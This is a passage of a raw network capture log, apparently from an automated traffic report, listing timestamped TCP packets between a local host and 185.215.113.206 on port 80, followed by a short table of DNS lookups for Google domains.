Oct 28, 2024 02:07:50.173537970 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.173552990 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.173563957 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.173574924 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.173585892 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.173599958 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.173644066 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.214164972 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.214176893 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.214186907 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.214211941 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.214221954 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.214222908 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.214241028 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.214296103 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.215480089 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.215490103 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.215498924 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.215527058 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.215554953 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.249017000 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.249038935 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.249064922 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.249088049 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.249095917 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.249113083 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.249114037 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.249125004 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.249138117 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.249146938 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.249150991 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.249161005 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.249177933 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.249206066 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.249218941 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.249306917 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.249316931 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.249327898 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.249341011 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.249349117 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.249351978 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.249363899 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.249366045 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.249392033 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.249416113 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.249439001 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.249459028 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.249480963 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.249490976 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.249501944 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.249507904 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.249533892 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.249547005 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.249646902 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.249696016 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.249707937 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.249739885 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.249773026 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.249777079 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.249825954 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.249857903 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.249869108 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.249895096 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.249906063 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.249906063 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.249917030 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.249931097 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.249934912 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.249959946 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.249985933 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.250365019 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.250375986 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.250392914 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.250403881 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.250416040 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.250416994 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.250439882 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.250446081 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.250449896 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.250466108 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.250492096 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.250621080 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.250631094 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.250641108 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.250653028 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.250668049 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.250679016 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.250713110 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.250861883 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.250873089 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.250883102 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.250895023 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.250901937 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.250906944 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.250910044 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.250919104 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.250929117 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.250956059 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.251064062 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251080990 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251100063 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251116037 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.251118898 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251131058 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251141071 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.251143932 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251168013 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.251179934 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251194954 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251195908 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.251205921 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251219034 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.251220942 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251238108 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.251241922 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251254082 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251260996 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.251285076 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.251293898 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251303911 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251321077 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251329899 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.251332998 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251353979 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.251359940 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251375914 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251379013 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.251388073 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251395941 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.251399040 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251411915 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.251427889 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.251523972 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251537085 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251544952 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251565933 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.251579046 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251586914 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.251590014 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251602888 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.251604080 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251615047 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251619101 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.251627922 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251636028 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.251662970 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.251703024 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251714945 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251729965 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251739025 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.251741886 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251765013 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.251787901 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.251811028 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251822948 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251832962 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.251846075 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.251862049 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.252007961 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.252032042 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.252043009 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.252049923 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.252078056 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.252099037 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.252126932 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.252136946 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.252146959 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.252161026 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.252167940 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.252172947 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.252185106 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.252201080 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.252218008 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.252255917 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.252266884 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.252279043 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.252300978 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.252314091 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.252554893 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.252615929 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.252625942 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.252628088 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.252648115 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.252664089 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.252682924 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.252695084 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.252706051 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.252717018 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.252733946 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.252743959 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.252749920 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.252756119 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.252767086 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.252777100 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.252791882 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.252806902 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.252835989 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.252846003 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.252882004 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.252969027 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.252984047 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.252994061 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.253005981 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.253015995 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.253019094 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.253035069 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.253041983 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.253051996 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.253052950 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.253063917 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.253082991 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.253098011 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.253103971 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.253115892 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.253123999 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.253128052 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.253139019 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.253149033 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.253150940 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.253165007 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.253176928 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.253196955 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.253220081 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.253221989 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.253284931 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.253288984 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.253298998 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.253326893 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.253343105 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.253349066 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.253360033 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.253371954 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.253382921 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.253391981 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.253392935 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.253418922 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.253423929 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.253452063 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.253495932 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.253506899 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.253531933 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.253547907 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.253554106 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.253576994 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.253585100 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.253587961 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.253597021 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.253607988 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.253612041 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.253628969 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.253633976 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.253644943 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.253654957 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.253659010 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.253664970 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.253679991 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.253707886 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.254020929 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.254033089 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.254043102 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.254065037 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.254100084 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.254101038 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.254112959 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.254125118 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.254153967 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.254153967 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.254164934 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.254189014 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.254189014 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.254200935 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.254213095 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.254215956 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.254231930 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.254256010 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.254362106 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.254373074 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.254406929 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.254422903 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.254435062 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.254451036 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.254467964 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.254487991 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.254513025 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.254524946 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.254561901 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.254570961 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.254580975 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.254614115 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.254626036 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.254636049 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.254656076 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.254661083 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.254667044 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.254684925 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.254709005 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.254753113 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.254764080 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.254774094 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.254789114 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.254789114 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.254806042 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.254834890 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.254913092 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.254925013 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.254936934 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.254947901 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.254962921 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.254971981 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.254982948 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.254988909 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.255002022 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.255004883 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.255014896 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.255021095 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.255026102 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.255038023 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.255057096 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.255208969 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.255234003 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.255244970 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.255244970 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.255271912 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.255285978 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.255286932 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.255296946 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.255306959 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.255338907 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.290385962 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.290395975 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.290406942 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.290453911 CET	49967	80	192.168.2.6	185.215.113.206

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 28, 2024 02:07:19.226440907 CET	192.168.2.6	1.1.1.1	0xcb11	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:07:19.226830959 CET	192.168.2.6	1.1.1.1	0xa74b	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 28, 2024 02:07:23.580353022 CET	192.168.2.6	1.1.1.1	0x7326	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:07:23.580797911 CET	192.168.2.6	1.1.1.1	0x5de7	Standard query (0)	apis.google.com	65	IN (0x0001)	false
